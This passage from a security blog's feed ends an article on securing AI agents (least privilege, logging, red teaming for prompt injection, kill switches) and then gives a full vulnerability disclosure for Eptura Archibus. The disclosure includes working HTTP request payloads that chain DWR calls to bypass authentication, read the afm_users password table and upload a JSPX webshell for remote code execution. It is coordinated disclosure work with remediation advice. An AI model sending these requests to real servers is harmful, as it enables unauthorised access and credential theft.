style="direction: ltr;"><span style='font-size: undefined;'><strong>Enforce least privilege on actions, not just data.</strong></span><span style='font-size: undefined;'> Define an explicit action space: which tools, which APIs, which parameters. High-impact actions like payments, deletions or production changes need step-up approval from a human.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Log everything in a place the agent can't touch.</strong></span><span style='font-size: undefined;'> Every tool call, input, and output goes to tamper-evident storage outside the agent's reach. You should be able to reconstruct what happened without asking the agent.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Never let a model grade its own work.</strong></span><span style='font-size: undefined;'> Use a different model, a deterministic rule, or a human to verify important outcomes. Avoid depending on a single model vendor for anything critical.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Red team continuously.</strong></span><span style='font-size: undefined;'> Test prompt injection, tool misuse, data exfiltration, and edge cases, not just the happy path. Re-test every time the model, the prompt, or the tool set changes.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Build a kill switch before you need it.</strong></span><span style='font-size: undefined;'> In May 2017, WannaCry was stopped by luck. A researcher registered a nonsense domain hard-coded in the ransomware, and new infections stopped spreading because the malware checked that domain before running. Defenders didn't build that kill switch. They found it in the attacker's code, it did nothing for machines already encrypted, and later variants simply removed it. Agent fleets can't depend on that kind of luck. The stop control has to be ours, sit outside the agent, cut off its credentials and tool access mid-run, and be tested regularly, the way an EDR host isolation action is.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Disclose and share incidents.</strong></span><span style='font-size: undefined;'> When an agent misbehaves, tell the people affected, document which control failed and share the lessons with the wider community, the same way we share threat intelligence today.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Persistent memory</strong></span><span style='font-size: undefined;'> is a new risk. Agents with long-term memory can be poisoned once and stay compromised. Add memory state to "log everything" and "quarantine its outputs."</span></p></li></ol><h2 style="direction: ltr;">Bring agents into the Security Operations Center (SOC)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Logging alone doesn't protect anyone, as no human team can review millions of agent actions, and handing that review to another unsupervised model just adds another black box. The SOC needs to treat agent activity as a first-class telemetry source, the way it treats endpoints, identities and cloud workloads today.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In practice, that means:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Behavioral baselines per agent.</strong></span><span style='font-size: undefined;'> Know which tools, data sources and destinations each agent normally uses, and alert on deviations, such as a code-review agent that starts reading the finance file share.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Detections for agent-specific attacks.</strong></span><span style='font-size: undefined;'> Write rules for prompt-injection indicators, unusual tool chaining, sudden bursts of high-privilege actions and data flowing to unexpected destinations.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Correlation with the rest of the environment.</strong></span><span style='font-size: undefined;'> Tie agent actions to the user, the session, the content the agent read, and the systems it touched, so an investigation can follow the full chain.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Response playbooks.</strong></span><span style='font-size: undefined;'> Pause the agent, revoke its tokens, quarantine its outputs and roll back its changes, with the same speed we expect when isolating a compromised host.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The security industry can lead in this area, as we already know how to collect noisy telemetry, find the signal, and contain threats quickly. Agents are the next category of asset to protect, and the next category of actor to watch.</span></p><h2 style="direction: ltr;">Trust the architecture, not the model</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Models will keep getting smarter, and vendors will keep promising they're safer. Both may be true, but neither removes our responsibility for what an agent does inside </span><span style='font-size: undefined;'><em>our</em></span><span style='font-size: undefined;'> environment with </span><span style='font-size: undefined;'><em>our</em></span><span style='font-size: undefined;'> data and </span><span style='font-size: undefined;'><em>our</em></span><span style='font-size: undefined;'> credentials.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The goal isn't to find a model we can trust completely. It's to build a system that stays safe even when the model gets it wrong. Security teams have done this for people, networks, and endpoints for decades. AI agents are simply the next privileged insider, and it's time we treated them that way.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ai-inhuman-insider-threats-securing-agents</link>
      <guid isPermaLink="false">blt3563f25740d57fe0</guid>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Shriram Munde]]></dc:creator>
      <pubDate>Mon, 19 Oct 2026 16:34:43 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0b0762ca94c50b0b/6846a711eac0e395093e52e3/AI.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Authentication Bypass, Remote Code Execution, and Database Read in Eptura Archibus (FIXED)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>While performing continuous red teaming exercises through Rapid7’s </span><a href="https://www.rapid7.com/services/continuous-red-team-service/"><span style='font-size: undefined;'>Vector Command</span></a><span style='font-size: undefined;'> service, Rapid7 discovered three new vulnerabilities in </span><a href="https://eptura.com/our-platform/archibus/"><span style='font-size: undefined;'>Eptura Archibus</span></a><span style='font-size: undefined;'>. A legacy API endpoint could be exploited to bypass authentication and run various functions without authentication (</span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"><span style='font-size: undefined;'>CVSS: 8.6  High</span></a><span style='font-size: undefined;'>). The most serious functions allow for full database read (</span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"><span style='font-size: undefined;'>CVSS: 8.5 High</span></a><span style='font-size: undefined;'>) and an insecure file upload (</span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"><span style='font-size: undefined;'>CVSS: 9.6 Critical</span></a><span style='font-size: undefined;'>). The insecure file upload leads to remote code execution.</span></p><h2 style="direction: ltr;">Product description</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Archibus helps organizations administer and manage their physical buildings, equipment, and real estate from a single central location. Users can track assets, maintenance work orders, real estate lease information, and desk or room reservations. </span><a href="https://eptura.com/news/eptura-momentum/"><span style='font-size: undefined;'>According to Eptura</span></a><span style='font-size: undefined;'>, in 2023 over 16,000 companies and 40% of the Fortune 500 used Archibus.</span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A malicious actor with network access to the server via HTTP can read secrets and passwords out of the database. They can also run code to execute system commands as ‘NT AUTHORITY/Local Service’ and gain control of the server.</span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This vulnerability was discovered by Marcus Chang, Security Consultant at Rapid7 and is being disclosed in accordance with </span><a href="https://www.rapid7.com/security/disclosure/"><span style='font-size: undefined;'>Rapid7's vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">CVE-2026-107186 - Archibus Authentication Bypass</h2><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>The Archibus Web Central web application uses Java Direct Web Remoting (DWR) for various API functionality, which allows requests with multiple method calls. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>isPasswordUppercase </span><span style='color:rgb(31, 31, 31);font-size: undefined;'>method sets a system session in the thread, and the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>runWorkflowRule </span><span style='color:rgb(31, 31, 31);font-size: undefined;'>method gets the set session for authentication. This allows malicious actors to run seemingly any workflow rule without providing authentication. Rapid7 tested the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>AbCommonResources-writeHTMLtoFile</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>AbCommonResources-getDataRecords</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> workflow rules.</span></p><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Technical Analysis</strong></span></h3><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Most DWR methods require auth and DWR allows you to make multiple calls in a single request by editing the callCount parameter and adding other method parameters to the request.</span></p><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>DWR processes multiple calls in a single batch sequentially on the same thread. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>SecurityServiceImpl.isPasswordUppercase()</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> method is whitelisted for pre-auth access, and internally calls </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>loadTableDef() </span><span style='color:rgb(31, 31, 31);font-size: undefined;'>which sets the core system user session on the thread-local ContextStore:</span></p><pre language="java">// SecurityServiceImpl.java - loadTableDef()
private TableDef.ThreadSafe loadTableDef(String projectId, final String tableName) {
    Context context = ContextStore.get();
    final Project.Immutable project = configManager.findProject(projectId);
    UserSession.Immutable coreUserSession = project.loadCoreUserSession();
    context.setUserSession(coreUserSession);  // &lt;-- sets privileged session on context
    // ...
}</pre><p><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><p><span style='color:rgb(24, 128, 56);font-size: undefined;'>DWRWorkflowService.runWorkflowRule()</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> uses the privileged context set by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>isPasswordUppercase</span><span style='color:rgb(31, 31, 31);font-size: undefined;'>. If</span><span style='color:rgb(24, 128, 56);font-size: undefined;'> getUserSession()</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> was invalid, it returns a session timeout, otherwise it continues execution. The end result is the workflow of the users choosing running without the user providing any authentication:</span></p><pre language="java">// DWRWorkflowService.java - runWorkflowRule()
ContextCacheable.Immutable targetContext = ContextStore.get().getUserSession();
// ...
if (targetContext == null) {
    handleSessionTimeout(workflowRuleName, workflowRuleInputs, result);
    return result;
}</pre><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Exploitation</strong></span></h3><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>For exploitation, the scriptSessionId and PROJECT_ID are required. The DWR API requests are in the following format: </span></p><pre language="html">POST /archibus/dwr/call/plaincall/single.2.dwr
Content-Type: text/plain
Cookie: DWRSESSIONID=abc

callCount=1
batchId=0
instanceId=0
page=%2F
scriptSessionId=abc/def
c0-scriptName=&lt;SCRIPT_NAME&gt;
c0-methodName=&lt;METHOD_NAME&gt;
c0-id=0
c0-param0=string:&lt;PROJECT_ID&gt;</pre><p><span style='color:rgb(31, 31, 31);font-size: undefined;'></span></p><p><span style='color:rgb(31, 31, 31);font-size: undefined;'>The scriptSessionId can be obtained with this DWR request. The JSESSIONID can be obtained by browsing to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/archibus/login.axvw</span><span style='color:rgb(31, 31, 31);font-size: undefined;'>:</span></p><pre language="html">POST /archibus/dwr/call/plaincall/__System.generateId.dwr HTTP/1.1
Content-Type: text/plain
Cookie: JSESSIONID=&lt;SESSION_ID&gt;callCount=1
batchId=0
instanceId=0
c0-scriptName=__System
c0-methodName=generateId
c0-id=0
page=%2Farchibus%2Flogin.axvw
scriptSessionId=</pre><p></p><p><span style='color:rgb(31, 31, 31);font-size: undefined;'>The Project_ID can be obtained with this request:</span></p><pre language="html">POST /archibus/dwr/call/plaincall/SecurityService.getProjects.dwr HTTP/1.1
Content-Type: text/plain
Cookie: JSESSIONID=&lt;SESSION_ID&gt;; DWRSESSIONID=abccallCount=1
batchId=1
instanceId=0
nextReverseAjaxIndex=0
c0-scriptName=SecurityService
c0-methodName=getProjects
c0-id=0
page=%2Farchibus%2Flogin.axvw
scriptSessionId=abc/def</pre><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Proof-of-Concept (POC) Example</strong></span></h3><h4 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Request To Run Workflow Rule Without Authentication</strong></span></h4><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Obtain a scriptSessionId and the Project_ID. These can be obtained easily by sending a login request from the browser and viewing the request. This request to the DWR endpoint specifies two DWR method calls by specifying the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>callCount </span><span style='color:rgb(31, 31, 31);font-size: undefined;'>parameter as 2. The first method called is the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>isPasswordUppercase</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> method. Its parameters begin with c0 in the POST body. It sets the user session in the context store with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>context.setUserSession(coreUserSession)</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>isPasswordUppercase</span><span style='color:rgb(31, 31, 31);font-size: undefined;'>. The second method called is the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>runWorkflowRule </span><span style='color:rgb(31, 31, 31);font-size: undefined;'>method which uses the context of the core user session which was set by the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>isPasswordUppercase </span><span style='color:rgb(31, 31, 31);font-size: undefined;'>method. Its parameters begin with c1. The end result is that any workflow can be run with the core user session without providing any credentials. </span></p><p></p><pre language="html">POST /archibus/dwr/call/plaincall/Multiple.2.dwr 
Content-Type: text/plain
Cookie: DWRSESSIONID=abc 

callCount=2 
batchId=0 
instanceId=0 
page=%2F 
scriptSessionId=abc/def 
c0-scriptName=SecurityService 
c0-methodName=isPasswordUppercase 
c0-id=0 
c0-param0=string:&lt;PROJECT_ID&gt; 
c1-scriptName=workflow 
c1-methodName=runWorkflowRule 
c1-id=1 
c1-param0=string:&lt;RULE_NAME&gt; 
c1-param1=Object_Object:{...params...} 
c1-param2=null:null"</pre><p><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong></strong></span></p><p><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Example Response</strong></span></p><pre language="javascript">throw 'allowScriptTagRemoting is false.';
//#DWR-REPLY
//#DWR-START#
(function(){
if(!window.dwr)return;
var dwr=window.dwr._[0];
dwr.engine.remote.handleCallback("0","0",false);
dwr.engine.remote.handleCallback("0","1",{code:"executed",detailedMessage:null,executionTime:16,jsonExpression:null,message:"&lt;WORKFLOW_OUTPUT&gt;",output:null,value:null,xmlDocument:null});
})();
//#DWR-END#</pre><h2 style="direction: ltr;">CVE-2026-107187 - Archibus Database Read</h2><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>AbCommonResources-getDataRecords</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> workflow allows users to read any database table, including usernames and passwords. This vulnerability can be chained with the authentication bypass vulnerability to read sensitive data from the database without authentication. </span></p><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Technical Analysis</strong></span></h3><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Using the earlier auth bypass vulnerability, the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>AbCommonResources-getDataRecords</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> workflow is callable without authentication. This maps to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ViewHandlers</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> method that operates on any Archibus-managed table:</span></p><pre language="java">// ViewHandlers.java - getDataRecords()
public void getDataRecords(EventHandlerContext context) {
    // ...
    String restriction = context.getString("restriction");
    // ...
    String recordSql = dataSource.formatSqlQuery(restriction, sortValues, filterValues, true, false);
}</pre><p></p><p><span style='color:rgb(31, 31, 31);font-size: undefined;'>Authenticated users may also be able to send the request without performing the auth bypass. The code checks if a user in the workflow rules security group. An exception is thrown if the user is not. Rapid7 did not check if the workflow request was able to be sent as a standard user.</span></p><pre language="java">// WorkflowRulesContainerImpl.java - line 499
public void checkPermission(WorkflowRule.Immutable workflowRule, 
                            ContextCacheable.Immutable context, 
                            String methodName) throws ExceptionBase {
    UserAccount.Immutable userAccount = context.findUserSession().getUserAccount();
    String ruleKey = workflowRule.getKey();
    if (!userAccount.isMemberOfGroup(workflowRule.getSecurityGroup())) {
        throw new ExceptionBase("Your account does not belong to the security group...");
    } else if (!workflowRule.isActive()) {
        throw new ExceptionBase("This rule is not active at your site...");
    }
    // ... 
}</pre><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Proof-of-Concept (POC) Example</strong></span></h3><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>After obtaining a scriptSessionId and the Project_ID, which can be obtained easily by sending a login request from the browser and viewing the request, a malicious actor can leverage the auth bypass vulnerability. They can set the second call in the DWR request for the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>AbCommonResources-getDataRecords</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> workflow. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>afm_users </span><span style='color:rgb(31, 31, 31);font-size: undefined;'>table can be queried to view usernames and passwords.</span></p><h4 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Request</strong></span></h4><pre language="html">POST /archibus/dwr/call/plaincall/Multiple.2.dwr HTTP/1.1
Host: TARGET
Content-Type: text/plain

callCount=2
batchId=0
instanceId=0
page=%2F
scriptSessionId=abc/def
c0-scriptName=SecurityService
c0-methodName=isPasswordUppercase
c0-id=0
c0-param0=string:&lt;PROJECT_ID&gt;
c1-scriptName=workflow
c1-methodName=runWorkflowRule
c1-id=1
c1-param0=string:AbCommonResources-getDataRecords
c1-param1=Object_Object:{tableName:reference:c1-e1,fieldNames:reference:c1-e2,indexField:reference:c1-e3,indexLevel:reference:c1-e4,indexValue:reference:c1-e5,sortValues:reference:c1-e6,filterValues:reference:c1-e7,restriction:reference:c1-e8,controlId:reference:c1-e9,recordLimit:reference:c1-e10}
c1-e1=string:afm_users
c1-e2=string:['afm_users.user_name', 'afm_users.user_pwd']
c1-e3=string:afm_users.user_name
c1-e4=string:0
c1-e5=string:
c1-e6=string:[]
c1-e7=string:[]
c1-e8=string:1=1
c1-e9=string:control-1
c1-e10=string:10000
c1-param2=null:null</pre><h4 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Response</strong></span></h4><pre language="javascript">throw 'allowScriptTagRemoting is false.';
//#DWR-REPLY
//#DWR-START#
(function(){
if(!window.dwr)return;
var dwr=window.dwr._[0];
dwr.engine.remote.handleCallback("0","0",false);
dwr.engine.remote.handleCallback("0","1",{code:"executed",detailedMessage:null,executionTime:13,jsonExpression:"{\"primaryKeyIds\":[\"afm_users.user_name\"],\"records\":[{\"afm_users.user_name\":\"PASSWORD\",\"afm_users.user_pwd\":\"PASSWORD\",\"afm_users.user_name.key\":\"PASSWORD\"}]...</pre><p></p><p><span style='font-size: undefined;'>Below is a snippet of what the request and response looks like on a live system. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>user_name </span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>user_pwd</span><span style='font-size: undefined;'>, email, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>role_name </span><span style='font-size: undefined;'>columns are extracted from the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>afm_users </span><span style='font-size: undefined;'>table where </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>role_name </span><span style='font-size: undefined;'>is ‘SYSTEM ADMINISTRATOR (ACP)’. </span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt857f2558d8c69549/6ad641c198f3c81065b7bccd/ab_disc_1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ab_disc_1.png" asset-alt="ab_disc_1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt857f2558d8c69549/6ad641c198f3c81065b7bccd/ab_disc_1.png" data-sys-asset-uid="blt857f2558d8c69549" data-sys-asset-filename="ab_disc_1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ab_disc_1.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 1: Reading Passwords And Emails In User Table b</em></span></p><h2 style="direction: ltr;">CVE-2026-107188 - Archibus Unrestricted File Upload</h2><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>AbCommonResources-writeHTMLtoFile</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> workflow writes user-controlled content to disk with a user-controlled file extension and no validation. This allows users to write JSPX code to browsable locations, which will execute when browsed to. This vulnerability can be chained with the auth bypass vulnerability to upload executable code without auth.</span></p><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Technical Analysis</strong></span></h3><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>AbCommonResources-writeHTMLtoFile</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> workflow writes user-controlled content to disk with a user-controlled file extension and no validation:</span></p><pre language="java">// ViewHandlers.java - writeHTMLtoFile()
public void writeHTMLtoFile(EventHandlerContext context) {
    String htmlDoc = (String) context.getParameter("html");          // attacker controls content
    String extension = (String) context.getParameter("fileExtension"); // attacker controls extension
    // ...
    File outputFile = File.createTempFile("DataViewReport", "." + extension, outputDir);
    BufferedWriter xlsOut = new BufferedWriter(new FileWriter(outputFile));
    xlsOut.write(htmlDoc);    // writes attacker content to disk
    xlsOut.close();
}</pre><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Proof-of-Concept (POC) Example</strong></span></h3><h4 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Step 1 </strong></span></h4><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Obtain a scriptSessionId and the Project_ID. These can be obtained easily by sending a login request in the browser and viewing the request. This vulnerable workflow can be chained with the auth bypass vulnerability to upload JSPX files without authentication. The server responds with the filename it generated, along with the browsable file path. Browsing to files uploaded with the JSP extension would trigger an authentication redirect. Browsing to files uploaded with the JSPX file extension didn’t force a redirect, so attacker JSPX code could be executed without authentication when browsing to the file. </span></p><h4 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Request</strong></span></h4><pre language="html">POST /archibus/dwr/call/plaincall/Multiple.2.dwr HTTP/1.1
Host: TARGET
Content-Type: text/plain

callCount=2
batchId=0
instanceId=0
page=%2F
scriptSessionId=abc/def
c0-scriptName=SecurityService
c0-methodName=isPasswordUppercase
c0-id=0
c0-param0=string:&lt;PROJECT_ID&gt;
c1-scriptName=workflow
c1-methodName=runWorkflowRule
c1-id=1
c1-param0=string:AbCommonResources-writeHTMLtoFile
c1-param1=Object_Object:{html:reference:c1-e1,fileExtension:reference:c1-e2}
c1-e1=string:&lt;JSPX_WEBSHELL_CONTENT&gt;
c1-e2=string:jspx
c1-param2=null:null</pre><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'></span></p><p><span style='color:rgb(31, 31, 31);font-size: undefined;'>The response includes the generated browsable file path.</span></p><p><span style='color:rgb(31, 31, 31);'><strong>Response</strong></span></p><pre language="javascript">throw 'allowScriptTagRemoting is false.';
//#DWR-REPLY
//#DWR-START#
(function(){
if(!window.dwr)return;
var dwr=window.dwr._[0];
dwr.engine.remote.handleCallback("0","0",false);
dwr.engine.remote.handleCallback("0","1",{code:"executed",detailedMessage:null,executionTime:16,jsonExpression:"{\"exportFileName\":\"\\\/archibus\\\/schema\\\/\\\/per-site\\\/\\\/exportReports\\\/\\\/DataViewReport&lt;TIMESTAMP&gt;.jspx\"}",message:null,output:null,value:null,xmlDocument:null}</pre><h4 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'><strong>Step 2</strong></span></h4><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Browse to the file path.</span></p><pre language="shell-session">curl https://TARGET/archibus/schema/per-site/exportReports/DataViewReport&lt;TIMESTAMP&gt;.jspx</pre><p><br/><span style='color:rgb(31, 31, 31);font-size: undefined;'>Rapid7 exploited the vulnerability on a Vector Command customer's server. As a first proof of concept, a JSPX file to print the server time was uploaded.</span><br/></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt29e9e611eea94a88/6ad642ed9355c0384c7b1e64/ab_disc_2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="ab_disc_2.png" asset-alt="ab_disc_2.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt29e9e611eea94a88/6ad642ed9355c0384c7b1e64/ab_disc_2.png" data-sys-asset-uid="blt29e9e611eea94a88" data-sys-asset-filename="ab_disc_2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="ab_disc_2.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'>Figure 2: </span><span style='font-size: undefined;'><em>Inserted Java Code To Print Server Time</em></span></p><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Users should update Archibus to version 2025.02 or higher. The vulnerable DWR method used for auth bypass was</span><a href="https://knowledge.eptura.com/Archibus/Whats_New_for_Archibus/Revision_History_Overview/Revision_History_for_Archibus_V.2025.02"><span style='font-size: undefined;'> moved to a REST API in version 2025.02</span></a><span style='font-size: undefined;'>. Users should sign into their Eptura account to download the Archibus installer. </span></p><h2 style="direction: ltr;">Rapid7 Customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Management, Vulnerability Management, Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Management, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-107186, CVE-2026-107187, CVE-2026-107188 with vulnerability checks expected to be available in the October 21 content release.</span></p><h2 style="direction: ltr;">Disclosure Timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 25, 2026:</strong></span><span style='font-size: undefined;'> Issues discovered by Marcus Chang and exploited on Vector Command customer’s Archibus server. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 2, 2026:</strong></span><span style='font-size: undefined;'> Initial outreach to Eptura. Eptura acknowledges with an automated receipt reply. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 14 and July 28, 2026: </strong></span><span style='font-size: undefined;'>Follow up with Eptura requesting a reply to the initial outreach.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 30, 2026: </strong></span><span style='font-size: undefined;'>Eptura replies to confirm that they are willing to receive the report of the vulnerability and mention that the version referenced by Rapid7 in the initial outreach is no longer a supported version along with a link to their support policy.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 11, 2026:</strong></span><span style='font-size: undefined;'> Disclosure document provided to Eptura along with questions regarding Eptura’s plan to address the vulnerability. Rapid7 also mentions that a coordinated vulnerability disclosure would be the preferred approach.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 18 and September 1, 2026: </strong></span><span style='font-size: undefined;'>Follow up with Eptura requesting verification of the vulnerability details report and reiterating the preference to disclose in a coordinated manner.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 8, September 15, and September 29,  2026: </strong></span><span style='font-size: undefined;'>Follow up with Eptura. In addition, Rapid7 notes that October 11 marks 60 days from initial disclosure and the date of public disclosure will be October 12, 2026.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 7, 2026: </strong></span><span style='font-size: undefined;'>Follow up with Eptura requesting verification of the vulnerability details report and reiterating the preference to disclose in a coordinated manner. In addition, Rapid7 requests a vendor statement to be included in the blog and acknowledges that CVE IDs have been reserved for the issues disclosed to the Epture team.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 9, 2026:</strong></span><span style='font-size: undefined;'> Eptura replies to clarify impacted versions and state a fix is in development for version 2025.01. Eptura requests a one week extension to move the disclosure to October 19.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 12, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 agrees to the one week extension and provides the reserved CVE IDs to Eptura.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 19, 2026</strong></span><span style='font-size: undefined;'><em><strong>:</strong></em></span><span style='font-size: undefined;'><em> </em></span><span style='font-size: undefined;'>Public disclosure via publication of this blog post.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-authentication-bypass-remote-code-execution-and-database-read-in-eptura-archibus-fixed</link>
      <guid isPermaLink="false">blt9de8814a024eb2f2</guid>
      <category><![CDATA[Zero-Day]]></category>
      <category><![CDATA[Rapid7 Disclosure]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category><dc:creator><![CDATA[Marcus Chang]]></dc:creator>
      <pubDate>Mon, 19 Oct 2026 15:57:43 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
